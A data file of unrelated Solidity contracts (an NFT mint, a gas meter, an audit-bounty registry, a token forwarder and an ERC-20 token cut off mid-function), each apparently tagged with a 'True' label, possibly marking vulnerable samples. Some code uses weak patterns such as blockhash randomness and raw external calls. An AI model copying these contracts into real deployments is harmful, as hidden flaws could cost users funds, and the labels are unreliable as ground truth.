* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {
return functionStaticCall(target, data, "Address: low-level static call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(
address target,
bytes memory data,
string memory errorMessage
) internal view returns (bytes memory) {
require(isContract(target), "Address: static call to non-contract");
(bool success, bytes memory returndata) = target.staticcall(data);
return _verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a delegate call.
*
* _Available since v3.4._
*/
function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) {
return functionDelegateCall(target, data, "Address: low-level delegate call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a delegate call.
*
* _Available since v3.4._
*/
function functionDelegateCall(
address target,
bytes memory data,
string memory errorMessage
) internal returns (bytes memory) {
require(isContract(target), "Address: delegate call to non-contract");
(bool success, bytes memory returndata) = target.delegatecall(data);
return _verifyCallResult(success, returndata, errorMessage);
}
function _verifyCallResult(
bool success,
bytes memory returndata,
string memory errorMessage
) private pure returns (bytes memory) {
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
// File: @openzeppelin/contracts/token/ERC721/extensions/IERC721Metadata.sol
pragma solidity ^0.8.0;
/**
* @title ERC721 token receiver interface
* @dev Interface for any contract that wants to support safeTransfers
* from ERC721 asset contracts.
*/
interface IERC721Receiver {
/**
* @dev Whenever an {IERC721} `tokenId` token is transferred to this contract via {IERC721-safeTransferFrom}
* by `operator` from `from`, this function is called.
*
* It must return its Solidity selector to confirm the token transfer.
* If any other value is returned or the interface is not implemented by the recipient, the transfer will be reverted.
*
* The selector can be obtained in Solidity with `IERC721.onERC721Received.selector`.
*/
function onERC721Received(
address operator,
address from,
uint256 tokenId,
bytes calldata data
) external returns (bytes4);
}
// File: @openzeppelin/contracts/utils/introspection/IERC165.sol
pragma solidity ^0.8.0;
contract CrowPunks is ERC721, ERC721Enumerable, Ownable {
// Provenance
string public CROWPUNKS_HASH = "";
// Price & Supply
uint256 public constant NFT_PRICE = 50000000000000000; //0.05 ETH
uint256 public constant NFT_5PRICE = 220000000000000000; //0.22 ETH
uint256 public constant NFT_10PRICE = 400000000000000000; //0.4 ETH
uint public constant MAX_SUPPLY = 10000;
uint public constant CrowReserve = 10;
uint public constant MAXReserve = 10;
// Internals
string private _baseTokenURI;
uint256 public startingIndexBlock;
uint256 public startingIndex;
// Adress
address member1 = 0xbFC3226E85203e1d597AAc20B32D4D6d342E74c1;
address member2 = 0x31fF4098b05116733f27AFbD12d25F9DE9cBC9E3;
// Sale
bool public hasSaleStarted = false;
bool public has5SaleStarted = false;
bool public has10SaleStarted = false;
uint private constant MAX_MINT_PER_CALL = 1;
// Pre-Sale
bool public hasPreSaleStarted = false;
uint public constant MAX_PRESALE_SUPPLY = 100;
constructor(string memory baseURI) ERC721("CrowPunks", "CROW") {
setBaseURI(baseURI);
}
function _baseURI() internal view override(ERC721) returns (string memory) {
return _baseTokenURI;
}
function setBaseURI(string memory baseURI) public onlyOwner {
_baseTokenURI = baseURI;
}
function getBaseURI() external view returns(string memory) {
return _baseTokenURI;
}
function tokensOfOwner(address _owner) external view returns(uint256[] memory ) {
uint256 tokenCount = balanceOf(_owner);
if (tokenCount == 0) {
// Return an empty array
return new uint256[](0);
} else {
uint256[] memory result = new uint256[](tokenCount);
uint256 index;
for (index = 0; index < tokenCount; index++) {
result[index] = tokenOfOwnerByIndex(_owner, index);
}
return result;
}
}
function mintPreSale() public payable {
require(hasPreSaleStarted, "Presale has not started");
require(msg.value >= NFT_PRICE, "Incorrect ether value");
require(totalSupply() < MAX_PRESALE_SUPPLY, "Presale has ended");
uint mintIndex = totalSupply() ; // index 0.
_safeMint(msg.sender, mintIndex);
// If we haven't set the starting index and this is either 1) the last saleable token or 2) the first token to be sold after
// the end of pre-sale, set the starting index block
if (startingIndexBlock == 0 && (totalSupply() == MAX_SUPPLY)) {
startingIndexBlock = block.number;
}
}
function mint(uint256 numNFTs) public payable {
require(hasSaleStarted, "Sale has not started");
require(MAX_SUPPLY > totalSupply(), "Sale has ended");
require(numNFTs > 0 && numNFTs <= MAX_MINT_PER_CALL, "Exceeds MAX_MINT_PER_CALL");
require(MAX_SUPPLY >= totalSupply() + numNFTs, "Exceeds MAX_SUPPLY");
require(msg.value >= NFT_PRICE * numNFTs, "Incorrect ether value");
for (uint i = 0; i < numNFTs; i++) {
uint mintIndex = totalSupply() ; // index 0.
_safeMint(msg.sender, mintIndex);
}
// If we haven't set the starting index and this is either 1) the last saleable token or 2) the first token to be sold after
// the end of pre-sale, set the starting index block
if (startingIndexBlock == 0 && (totalSupply() == MAX_SUPPLY)) {
startingIndexBlock = block.number;
}
}
function mint5crows(uint256 num5NFTs) public payable {
require(has5SaleStarted, "Sale has not started");
require(MAX_SUPPLY > totalSupply(), "Sale has ended");
require(num5NFTs > 0 && num5NFTs <= MAX_MINT_PER_CALL, "Exceeds MAX_MINT_PER_CALL");
require(MAX_SUPPLY >= totalSupply() + (num5NFTs * 5), "Exceeds MAX_SUPPLY");
require(msg.value >= NFT_5PRICE * num5NFTs, "Incorrect ether value");
for (uint i = 0; i < (num5NFTs * 5); i++) {
uint mintIndex = totalSupply() ; // index 0.
_safeMint(msg.sender, mintIndex);
}
// If we haven't set the starting index and this is either 1) the last saleable token or 2) the first token to be sold after
// the end of pre-sale, set the starting index block
if (startingIndexBlock == 0 && (totalSupply() == MAX_SUPPLY)) {
startingIndexBlock = block.number;
}
}
function mint10crows(uint256 num10NFTs) public payable {
require(has10SaleStarted, "Sale has not started");
require(MAX_SUPPLY > totalSupply(), "Sale has ended");
require(num10NFTs > 0 && num10NFTs <= MAX_MINT_PER_CALL, "Exceeds MAX_MINT_PER_CALL");
require(MAX_SUPPLY >= totalSupply() + (num10NFTs * 10), "Exceeds MAX_SUPPLY");
require(msg.value >= NFT_10PRICE * num10NFTs, "Incorrect ether value");
for (uint i = 0; i < (num10NFTs * 10); i++) {
uint mintIndex = totalSupply() ; // index 0.
_safeMint(msg.sender, mintIndex);
}
// If we haven't set the starting index and this is either 1) the last saleable token or 2) the first token to be sold after
// the end of pre-sale, set the starting index block
if (startingIndexBlock == 0 && (totalSupply() == MAX_SUPPLY)) {
startingIndexBlock = block.number;
}
}
function reserveCrows(address _to, uint256 _reserveAmount) public onlyOwner {
uint supply = totalSupply();
require(_reserveAmount > 0 && _reserveAmount <= CrowReserve, "Not enough reserve left for team");
require(MAXReserve >= totalSupply() + _reserveAmount, "Not enough reserve left for team");
for (uint i = 0; i < _reserveAmount; i++) {
_safeMint(_to, supply + i);
}
}
function flipSaleState() public onlyOwner {
hasSaleStarted = !hasSaleStarted;
}
function flip5SaleState() public onlyOwner {
has5SaleStarted = !has5SaleStarted;
}
function flip10SaleState() public onlyOwner {
has10SaleStarted = !has10SaleStarted;
}
function flipPreSaleState() public onlyOwner {
hasPreSaleStarted = !hasPreSaleStarted;
}
function withdraw() public onlyOwner {
require(payable(member1).send(address(this).balance /5 ));
require(payable(member2).send(address(this).balance));
}
function _beforeTokenTransfer(address from, address to, uint256 tokenId)
internal
override(ERC721, ERC721Enumerable)
{
super._beforeTokenTransfer(from, to, tokenId);
}
function _burn(uint256 tokenId) internal override(ERC721) {
super._burn(tokenId);
}
function tokenURI(uint256 tokenId)
public
view
override(ERC721)
returns (string memory)
{
return super.tokenURI(tokenId);
}
function supportsInterface(bytes4 interfaceId)
public
view
override(ERC721, ERC721Enumerable)
returns (bool)
{
return super.supportsInterface(interfaceId);
}
function setStartingIndex() public {
require(startingIndex == 0, "Starting index is already set");
require(startingIndexBlock != 0, "Starting index block must be set");
startingIndex = uint(blockhash(startingIndexBlock)) % MAX_SUPPLY;
// Just a sanity case in the worst case if this function is called late (EVM only stores last 256 block hashes)
if (block.number - startingIndexBlock > 255) {
startingIndex = uint(blockhash(block.number - 1)) % MAX_SUPPLY;
}
// Prevent default sequence
if (startingIndex == 0) {
startingIndex = startingIndex + 1;
}
}
function emergencySetStartingIndexBlock() public onlyOwner {
require(startingIndex == 0, "Starting index is already set");
startingIndexBlock = block.number;
}
function setProvenanceHash(string memory provenanceHash) public onlyOwner {
CROWPUNKS_HASH = provenanceHash;
}
} | True | [
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/**
*Submitted for verification at Etherscan.io on 2021-02-02
*/
// SPDX-License-Identifier: MIT
pragma solidity 0.8.0;
interface MeterMaidInterface {
function meter(address to, bytes calldata data) external returns (
uint256 gasUsed, bool ok, bytes memory returnData
);
}
contract MeterMaid is MeterMaidInterface {
function meter(address to, bytes calldata data) external override returns (
uint256 gasUsed, bool ok, bytes memory returnData
) {
uint256 initialGas = gasleft();
(ok, returnData) = to.call(data);
gasUsed = initialGas - gasleft();
}
} | True | [
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pragma solidity ^0.4.24;
/**
* @title Ownable
* @dev The Ownable contract has an owner address, and provides basic authorization control
* functions, this simplifies the implementation of "user permissions".
*/
contract Ownable {
address public owner;
event OwnershipRenounced(address indexed previousOwner);
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
/**
* @dev The Ownable constructor sets the original `owner` of the contract to the sender
* account.
*/
constructor() public {
owner = msg.sender;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
/**
* @dev Allows the current owner to relinquish control of the contract.
* @notice Renouncing to ownership will leave the contract without an owner.
* It will not be possible to call the functions with the `onlyOwner`
* modifier anymore.
*/
function renounceOwnership() public onlyOwner {
emit OwnershipRenounced(owner);
owner = address(0);
}
/**
* @dev Allows the current owner to transfer control of the contract to a newOwner.
* @param _newOwner The address to transfer ownership to.
*/
function transferOwnership(address _newOwner) public onlyOwner {
_transferOwnership(_newOwner);
}
/**
* @dev Transfers control of the contract to a newOwner.
* @param _newOwner The address to transfer ownership to.
*/
function _transferOwnership(address _newOwner) internal {
require(_newOwner != address(0));
emit OwnershipTransferred(owner, _newOwner);
owner = _newOwner;
}
}
/**
* @title Pausable
* @dev Base contract which allows children to implement an emergency stop mechanism.
*/
contract Pausable is Ownable {
event Pause();
event Unpause();
bool public paused = false;
/**
* @dev Modifier to make a function callable only when the contract is not paused.
*/
modifier whenNotPaused() {
require(!paused);
_;
}
/**
* @dev Modifier to make a function callable only when the contract is paused.
*/
modifier whenPaused() {
require(paused);
_;
}
/**
* @dev called by the owner to pause, triggers stopped state
*/
function pause() public onlyOwner whenNotPaused {
paused = true;
emit Pause();
}
/**
* @dev called by the owner to unpause, returns to normal state
*/
function unpause() public onlyOwner whenPaused {
paused = false;
emit Unpause();
}
}
/**
* @title SafeMath
* @dev Math operations with safety checks that throw on error
*/
library SafeMath {
/**
* @dev Multiplies two numbers, throws on overflow.
*/
function mul(uint256 _a, uint256 _b) internal pure returns (uint256 c) {
// Gas optimization: this is cheaper than asserting 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-solidity/pull/522
if (_a == 0) {
return 0;
}
c = _a * _b;
assert(c / _a == _b);
return c;
}
/**
* @dev Integer division of two numbers, truncating the quotient.
*/
function div(uint256 _a, uint256 _b) internal pure returns (uint256) {
// assert(_b > 0); // Solidity automatically throws when dividing by 0
// uint256 c = _a / _b;
// assert(_a == _b * c + _a % _b); // There is no case in which this doesn't hold
return _a / _b;
}
/**
* @dev Subtracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend).
*/
function sub(uint256 _a, uint256 _b) internal pure returns (uint256) {
assert(_b <= _a);
return _a - _b;
}
/**
* @dev Adds two numbers, throws on overflow.
*/
function add(uint256 _a, uint256 _b) internal pure returns (uint256 c) {
c = _a + _b;
assert(c >= _a);
return c;
}
}
contract Upgradable is Ownable, Pausable {
// Set in case the core contract is broken and an upgrade is required
address public newContractAddress;
/// @dev Emited when contract is upgraded - See README.md for updgrade plan
event ContractUpgrade(address newContract);
/// @dev Used to mark the smart contract as upgraded, in case there is a serious
/// breaking bug. This method does nothing but keep track of the new contract and
/// emit a message indicating that the new address is set. It's up to clients of this
/// contract to update to the new contract address in that case. (This contract will
/// be paused indefinitely if such an upgrade takes place.)
/// @param _v2Address new address
function setNewAddress(address _v2Address) external onlyOwner whenPaused {
require(_v2Address != 0x0);
newContractAddress = _v2Address;
emit ContractUpgrade(_v2Address);
}
}
contract SolidStampRegister is Ownable
{
/// @dev address of the current SolidStamp contract which can add audits
address public ContractSolidStamp;
/// @dev const value to indicate the contract is not audited
uint8 public constant NOT_AUDITED = 0x00;
/// @dev const value to indicate the contract is audited and approved
uint8 public constant AUDITED_AND_APPROVED = 0x01;
/// @dev const value to indicate the contract is audited and rejected
uint8 public constant AUDITED_AND_REJECTED = 0x02;
/// @dev struct representing the audit report and the audit outcome
struct Audit {
/// @dev AUDITED_AND_APPROVED or AUDITED_AND_REJECTED
uint8 outcome;
/// @dev IPFS hash of the audit report
bytes reportIPFS;
}
/// @dev Maps auditor and code hash to the Audit struct.
/// Map key is: keccack256(auditor address, contract codeHash)
/// @dev codeHash is a sha3 from the contract byte code
mapping (bytes32 => Audit) public Audits;
/// @dev event fired when a contract is sucessfully audited
event AuditRegistered(address auditor, bytes32 codeHash, bytes reportIPFS, bool isApproved);
/// @notice SolidStampRegister constructor
constructor() public {
}
/// @notice returns the outcome of the audit or NOT_AUDITED (0) if none
/// @param _auditor audtior address
/// @param _codeHash contract code-hash
function getAuditOutcome(address _auditor, bytes32 _codeHash) public view returns (uint8)
{
bytes32 hashAuditorCode = keccak256(abi.encodePacked(_auditor, _codeHash));
return Audits[hashAuditorCode].outcome;
}
/// @notice returns the audit report IPFS of the audit or 0x0 if none
/// @param _auditor audtior address
/// @param _codeHash contract code-hash
function getAuditReportIPFS(address _auditor, bytes32 _codeHash) public view returns (bytes)
{
bytes32 hashAuditorCode = keccak256(abi.encodePacked(_auditor, _codeHash));
return Audits[hashAuditorCode].reportIPFS;
}
/// @notice marks contract as audited
/// @param _codeHash the code hash of the stamped contract. _codeHash equals to sha3 of the contract byte-code
/// @param _reportIPFS IPFS hash of the audit report
/// @param _isApproved whether the contract is approved or rejected
function registerAudit(bytes32 _codeHash, bytes _reportIPFS, bool _isApproved) public
{
require(_codeHash != 0x0, "codeHash cannot be 0x0");
require(_reportIPFS.length != 0x0, "report IPFS cannot be 0x0");
bytes32 hashAuditorCode = keccak256(abi.encodePacked(msg.sender, _codeHash));
Audit storage audit = Audits[hashAuditorCode];
require(audit.outcome == NOT_AUDITED, "already audited");
if ( _isApproved )
audit.outcome = AUDITED_AND_APPROVED;
else
audit.outcome = AUDITED_AND_REJECTED;
audit.reportIPFS = _reportIPFS;
SolidStamp(ContractSolidStamp).auditContract(msg.sender, _codeHash, _reportIPFS, _isApproved);
emit AuditRegistered(msg.sender, _codeHash, _reportIPFS, _isApproved);
}
/// @notice marks multiple contracts as audited
/// @param _codeHashes the code hashes of the stamped contracts. each _codeHash equals to sha3 of the contract byte-code
/// @param _reportIPFS IPFS hash of the audit report
/// @param _isApproved whether the contracts are approved or rejected
function registerAudits(bytes32[] _codeHashes, bytes _reportIPFS, bool _isApproved) public
{
for(uint i=0; i<_codeHashes.length; i++ )
{
registerAudit(_codeHashes[i], _reportIPFS, _isApproved);
}
}
event SolidStampContractChanged(address newSolidStamp);
/// @dev Transfers SolidStamp contract a _newSolidStamp.
/// @param _newSolidStamp The address to transfer SolidStamp address to.
function changeSolidStampContract(address _newSolidStamp) public onlyOwner {
require(_newSolidStamp != address(0), "SolidStamp contract cannot be 0x0");
emit SolidStampContractChanged(_newSolidStamp);
ContractSolidStamp = _newSolidStamp;
}
/// @notice We don't want your arbitrary ether
function() payable public {
revert();
}
}
/// @title The main SolidStamp.com contract
contract SolidStamp is Ownable, Pausable, Upgradable {
using SafeMath for uint;
/// @dev const value to indicate the contract is audited and approved
uint8 public constant NOT_AUDITED = 0x00;
/// @dev minimum amount of time for an audit request
uint public constant MIN_AUDIT_TIME = 24 hours;
/// @dev maximum amount of time for an audit request
uint public constant MAX_AUDIT_TIME = 28 days;
/// @dev aggregated amount of audit requests
uint public TotalRequestsAmount = 0;
// @dev amount of collected commision available to withdraw
uint public AvailableCommission = 0;
// @dev commission percentage, initially 1%
uint public Commission = 1;
/// @dev event fired when the service commission is changed
event NewCommission(uint commmission);
address public SolidStampRegisterAddress;
/// @notice SolidStamp constructor
constructor(address _addressRegistrySolidStamp) public {
SolidStampRegisterAddress = _addressRegistrySolidStamp;
}
/// @notice Audit request
struct AuditRequest {
// amount of Ethers offered by a particular requestor for an audit
uint amount;
// request expiration date
uint expireDate;
}
/// @dev Maps auditor and code hash to the total reward offered for auditing
/// the particular contract by the particular auditor.
/// Map key is: keccack256(auditor address, contract codeHash)
/// @dev codeHash is a sha3 from the contract byte code
mapping (bytes32 => uint) public Rewards;
/// @dev Maps requestor, auditor and codeHash to an AuditRequest
/// Map key is: keccack256(auditor address, requestor address, contract codeHash)
mapping (bytes32 => AuditRequest) public AuditRequests;
/// @dev event fired upon successul audit request
event AuditRequested(address auditor, address bidder, bytes32 codeHash, uint amount, uint expireDate);
/// @dev event fired when an request is sucessfully withdrawn
event RequestWithdrawn(address auditor, address bidder, bytes32 codeHash, uint amount);
/// @dev event fired when a contract is sucessfully audited
event ContractAudited(address auditor, bytes32 codeHash, bytes reportIPFS, bool isApproved, uint reward);
/// @notice registers an audit request
/// @param _auditor the address of the auditor the request is directed to
/// @param _codeHash the code hash of the contract to audit. _codeHash equals to sha3 of the contract byte-code
/// @param _auditTime the amount of time after which the requestor can withdraw the request
function requestAudit(address _auditor, bytes32 _codeHash, uint _auditTime)
public whenNotPaused payable
{
require(_auditor != 0x0, "_auditor cannot be 0x0");
// audit request cannot expire too quickly or last too long
require(_auditTime >= MIN_AUDIT_TIME, "_auditTime should be >= MIN_AUDIT_TIME");
require(_auditTime <= MAX_AUDIT_TIME, "_auditTime should be <= MIN_AUDIT_TIME");
require(msg.value > 0, "msg.value should be >0");
// revert if the contract is already audited by the auditor
uint8 outcome = SolidStampRegister(SolidStampRegisterAddress).getAuditOutcome(_auditor, _codeHash);
require(outcome == NOT_AUDITED, "contract already audited");
bytes32 hashAuditorCode = keccak256(abi.encodePacked(_auditor, _codeHash));
uint currentReward = Rewards[hashAuditorCode];
uint expireDate = now.add(_auditTime);
Rewards[hashAuditorCode] = currentReward.add(msg.value);
TotalRequestsAmount = TotalRequestsAmount.add(msg.value);
bytes32 hashAuditorRequestorCode = keccak256(abi.encodePacked(_auditor, msg.sender, _codeHash));
AuditRequest storage request = AuditRequests[hashAuditorRequestorCode];
if ( request.amount == 0 ) {
// first request from msg.sender to audit contract _codeHash by _auditor
AuditRequests[hashAuditorRequestorCode] = AuditRequest({
amount : msg.value,
expireDate : expireDate
});
emit AuditRequested(_auditor, msg.sender, _codeHash, msg.value, expireDate);
} else {
// Request already exists. Increasing value
request.amount = request.amount.add(msg.value);
// if new expireDate is later than existing one - increase the existing one
if ( expireDate > request.expireDate )
request.expireDate = expireDate;
// event returns the total request value and its expireDate
emit AuditRequested(_auditor, msg.sender, _codeHash, request.amount, request.expireDate);
}
}
/// @notice withdraws an audit request
/// @param _auditor the address of the auditor the request is directed to
/// @param _codeHash the code hash of the contract to audit. _codeHash equals to sha3 of the contract byte-code
function withdrawRequest(address _auditor, bytes32 _codeHash)
public
{
bytes32 hashAuditorCode = keccak256(abi.encodePacked(_auditor, _codeHash));
// revert if the contract is already audited by the auditor
uint8 outcome = SolidStampRegister(SolidStampRegisterAddress).getAuditOutcome(_auditor, _codeHash);
require(outcome == NOT_AUDITED, "contract already audited");
bytes32 hashAuditorRequestorCode = keccak256(abi.encodePacked(_auditor, msg.sender, _codeHash));
AuditRequest storage request = AuditRequests[hashAuditorRequestorCode];
require(request.amount > 0, "nothing to withdraw");
require(now > request.expireDate, "cannot withdraw before request.expireDate");
uint amount = request.amount;
delete request.amount;
delete request.expireDate;
Rewards[hashAuditorCode] = Rewards[hashAuditorCode].sub(amount);
TotalRequestsAmount = TotalRequestsAmount.sub(amount);
emit RequestWithdrawn(_auditor, msg.sender, _codeHash, amount);
msg.sender.transfer(amount);
}
/// @notice transfers reward to the auditor. Called by SolidStampRegister after the contract is audited
/// @param _auditor the auditor who audited the contract
/// @param _codeHash the code hash of the stamped contract. _codeHash equals to sha3 of the contract byte-code
/// @param _reportIPFS IPFS hash of the audit report
/// @param _isApproved whether the contract is approved or rejected
function auditContract(address _auditor, bytes32 _codeHash, bytes _reportIPFS, bool _isApproved)
public whenNotPaused onlySolidStampRegisterContract
{
bytes32 hashAuditorCode = keccak256(abi.encodePacked(_auditor, _codeHash));
uint reward = Rewards[hashAuditorCode];
TotalRequestsAmount = TotalRequestsAmount.sub(reward);
uint commissionKept = calcCommission(reward);
AvailableCommission = AvailableCommission.add(commissionKept);
emit ContractAudited(_auditor, _codeHash, _reportIPFS, _isApproved, reward);
_auditor.transfer(reward.sub(commissionKept));
}
/**
* @dev Throws if called by any account other than the contractSolidStamp
*/
modifier onlySolidStampRegisterContract() {
require(msg.sender == SolidStampRegisterAddress, "can be only run by SolidStampRegister contract");
_;
}
/// @dev const value to indicate the maximum commision service owner can set
uint public constant MAX_COMMISSION = 9;
/// @notice ability for owner to change the service commmission
/// @param _newCommission new commision percentage
function changeCommission(uint _newCommission) public onlyOwner whenNotPaused {
require(_newCommission <= MAX_COMMISSION, "commission should be <= MAX_COMMISSION");
require(_newCommission != Commission, "_newCommission==Commmission");
Commission = _newCommission;
emit NewCommission(Commission);
}
/// @notice calculates the SolidStamp commmission
/// @param _amount amount to calcuate the commission from
function calcCommission(uint _amount) private view returns(uint) {
return _amount.mul(Commission)/100; // service commision
}
/// @notice ability for owner to withdraw the commission
/// @param _amount amount to withdraw
function withdrawCommission(uint _amount) public onlyOwner {
// cannot withdraw money reserved for requests
require(_amount <= AvailableCommission, "Cannot withdraw more than available");
AvailableCommission = AvailableCommission.sub(_amount);
msg.sender.transfer(_amount);
}
/// @dev Override unpause so we can't have newContractAddress set,
/// because then the contract was upgraded.
/// @notice This is public rather than external so we can call super.unpause
/// without using an expensive CALL.
function unpause() public onlyOwner whenPaused {
require(newContractAddress == address(0), "new contract cannot be 0x0");
// Actually unpause the contract.
super.unpause();
}
/// @notice We don't want your arbitrary ether
function() payable public {
revert();
}
} | True | [
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pragma solidity 0.4.25;
interface COSS {
function sendTokens(address _destination, address _token, uint256 _amount) public;
function sendEther(address _destination, uint256 _amount) payable public;
}
contract FSAContract{
address owner = 0xc17cbf9917ca13d5263a8d4069e566be23db1b09;
address cossContract = 0x9e96604445ec19ffed9a5e8dd7b50a29c899a10c;
modifier onlyOwner(){
require(msg.sender == owner);
_;
}
function sendTokens(address _destination, address _token, uint256 _amount) public onlyOwner {
COSS(cossContract).sendTokens(_destination,_token,_amount);
}
function sendEther(address _destination, uint256 _amount) payable public onlyOwner {
COSS(cossContract).sendEther(_destination,_amount);
}
} | True | [
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pragma solidity ^0.4.23;
/*
* Creator: WETC (We Trust Crypto)
*/
/*
* Abstract Token Smart Contract
*
*/
/*
* Safe Math Smart Contract.
* https://github.com/OpenZeppelin/zeppelin-solidity/blob/master/contracts/math/SafeMath.sol
*/
contract SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
function safeDiv(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function safeSub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function safeAdd(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
/**
* ERC-20 standard token interface, as defined
* <a href="http://github.com/ethereum/EIPs/issues/20">here</a>.
*/
contract Token {
function totalSupply() constant returns (uint256 supply);
function balanceOf(address _owner) constant returns (uint256 balance);
function transfer(address _to, uint256 _value) returns (bool success);
function transferFrom(address _from, address _to, uint256 _value) returns (bool success);
function approve(address _spender, uint256 _value) returns (bool success);
function allowance(address _owner, address _spender) constant returns (uint256 remaining);
event Transfer(address indexed _from, address indexed _to, uint256 _value);
event Approval(address indexed _owner, address indexed _spender, uint256 _value);
}
/**
* Abstract Token Smart Contract that could be used as a base contract for
* ERC-20 token contracts.
*/
contract AbstractToken is Token, SafeMath {
/**
* Create new Abstract Token contract.
*/
function AbstractToken () {
// Do nothing
}
/**
* Get number of tokens currently belonging to given owner.
*
* @param _owner address to get number of tokens currently belonging to the
* owner of
* @return number of tokens currently belonging to the owner of given address
*/
function balanceOf(address _owner) constant returns (uint256 balance) {
return accounts [_owner];
}
/**
* Transfer given number of tokens from message sender to given recipient.
*
* @param _to address to transfer tokens to the owner of
* @param _value number of tokens to transfer to the owner of given address
* @return true if tokens were transferred successfully, false otherwise
* accounts [_to] + _value > accounts [_to] for overflow check
* which is already in safeMath
*/
function transfer(address _to, uint256 _value) returns (bool success) {
require(_to != address(0));
if (accounts [msg.sender] < _value) return false;
if (_value > 0 && msg.sender != _to) {
accounts [msg.sender] = safeSub (accounts [msg.sender], _value);
accounts [_to] = safeAdd (accounts [_to], _value);
}
emit Transfer (msg.sender, _to, _value);
return true;
}
/**
* Transfer given number of tokens from given owner to given recipient.
*
* @param _from address to transfer tokens from the owner of
* @param _to address to transfer tokens to the owner of
* @param _value number of tokens to transfer from given owner to given
* recipient
* @return true if tokens were transferred successfully, false otherwise
* accounts [_to] + _value > accounts [_to] for overflow check
* which is already in safeMath
*/
function transferFrom(address _from, address _to, uint256 _value)
returns (bool success) {
require(_to != address(0));
if (allowances [_from][msg.sender] < _value) return false;
if (accounts [_from] < _value) return false;
if (_value > 0 && _from != _to) {
allowances [_from][msg.sender] = safeSub (allowances [_from][msg.sender], _value);
accounts [_from] = safeSub (accounts [_from], _value);
accounts [_to] = safeAdd (accounts [_to], _value);
}
emit Transfer(_from, _to, _value);
return true;
}
/**
* Allow given spender to transfer given number of tokens from message sender.
* @param _spender address to allow the owner of to transfer tokens from message sender
* @param _value number of tokens to allow to transfer
* @return true if token transfer was successfully approved, false otherwise
*/
function approve (address _spender, uint256 _value) returns (bool success) {
allowances [msg.sender][_spender] = _value;
emit Approval (msg.sender, _spender, _value);
return true;
}
/**
* Tell how many tokens given spender is currently allowed to transfer from
* given owner.
*
* @param _owner address to get number of tokens allowed to be transferred
* from the owner of
* @param _spender address to get number of tokens allowed to be transferred
* by the owner of
* @return number of tokens given spender is currently allowed to transfer
* from given owner
*/
function allowance(address _owner, address _spender) constant
returns (uint256 remaining) {
return allowances [_owner][_spender];
}
/**
* Mapping from addresses of token holders to the numbers of tokens belonging
* to these token holders.
*/
mapping (address => uint256) accounts;
/**
* Mapping from addresses of token holders to the mapping of addresses of
* spenders to the allowances set by these token holders to these spenders.
*/
mapping (address => mapping (address => uint256)) private allowances;
}
/**
* We Trust Crypto smart contract.
*/
contract WETCToken is AbstractToken {
/**
* Maximum allowed number of tokens in circulation.
* tokenSupply = tokensIActuallyWant * (10 ^ decimals)
*/
uint256 constant MAX_TOKEN_COUNT = 200000000 * (10**18);
/**
* Address of the owner of this smart contract.
*/
address private owner;
/**
* Frozen account list holder
*/
mapping (address => bool) private frozenAccount;
/**
* Current number of tokens in circulation.
*/
uint256 tokenCount = 0;
/**
* True if tokens transfers are currently frozen, false otherwise.
*/
bool frozen = false;
/**
* Create new token smart contract and make msg.sender the
* owner of this smart contract.
*/
function WETCToken () {
owner = msg.sender;
}
/**
* Get total number of tokens in circulation.
*
* @return total number of tokens in circulation
*/
function totalSupply() constant returns (uint256 supply) {
return tokenCount;
}
string constant public name = "We Trust Crypto";
string constant public symbol = "WETC";
uint8 constant public decimals = 18;
/**
* Transfer given number of tokens from message sender to given recipient.
* @param _to address to transfer tokens to the owner of
* @param _value number of tokens to transfer to the owner of given address
* @return true if tokens were transferred successfully, false otherwise
*/
function transfer(address _to, uint256 _value) returns (bool success) {
require(!frozenAccount[msg.sender]);
if (frozen) return false;
else return AbstractToken.transfer (_to, _value);
}
/**
* Transfer given number of tokens from given owner to given recipient.
*
* @param _from address to transfer tokens from the owner of
* @param _to address to transfer tokens to the owner of
* @param _value number of tokens to transfer from given owner to given
* recipient
* @return true if tokens were transferred successfully, false otherwise
*/
function transferFrom(address _from, address _to, uint256 _value)
returns (bool success) {
require(!frozenAccount[_from]);
if (frozen) return false;
else return AbstractToken.transferFrom (_from, _to, _value);
}
/**
* Change how many tokens given spender is allowed to transfer from message
* spender. In order to prevent double spending of allowance,
* To change the approve amount you first have to reduce the addresses`
* allowance to zero by calling `approve(_spender, 0)` if it is not
* already 0 to mitigate the race condition described here:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
* @param _spender address to allow the owner of to transfer tokens from
* message sender
* @param _value number of tokens to allow to transfer
* @return true if token transfer was successfully approved, false otherwise
*/
function approve (address _spender, uint256 _value)
returns (bool success) {
require(allowance (msg.sender, _spender) == 0 || _value == 0);
return AbstractToken.approve (_spender, _value);
}
/**
* Create _value new tokens and give new created tokens to msg.sender.
* May only be called by smart contract owner.
*
* @param _value number of tokens to create
* @return true if tokens were created successfully, false otherwise
*/
function createTokens(uint256 _value)
returns (bool success) {
require (msg.sender == owner);
if (_value > 0) {
if (_value > safeSub (MAX_TOKEN_COUNT, tokenCount)) return false;
